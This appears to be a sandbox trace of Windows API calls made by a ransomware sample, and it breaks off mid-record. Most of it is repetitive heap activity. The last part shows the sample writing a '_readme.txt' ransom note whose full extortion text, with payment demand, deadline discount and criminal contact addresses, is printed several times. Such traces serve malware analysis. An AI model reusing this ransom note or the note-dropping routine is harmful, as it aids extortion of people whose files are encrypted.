HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.297] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.297] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.298] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.298] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.301] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0059.301] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.301] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.301] PathFindFileNameW (pszPath="") returned="" [0059.301] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.301] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.301] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.302] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.302] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0059.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.302] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0059.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.302] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.302] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.302] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.302] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or 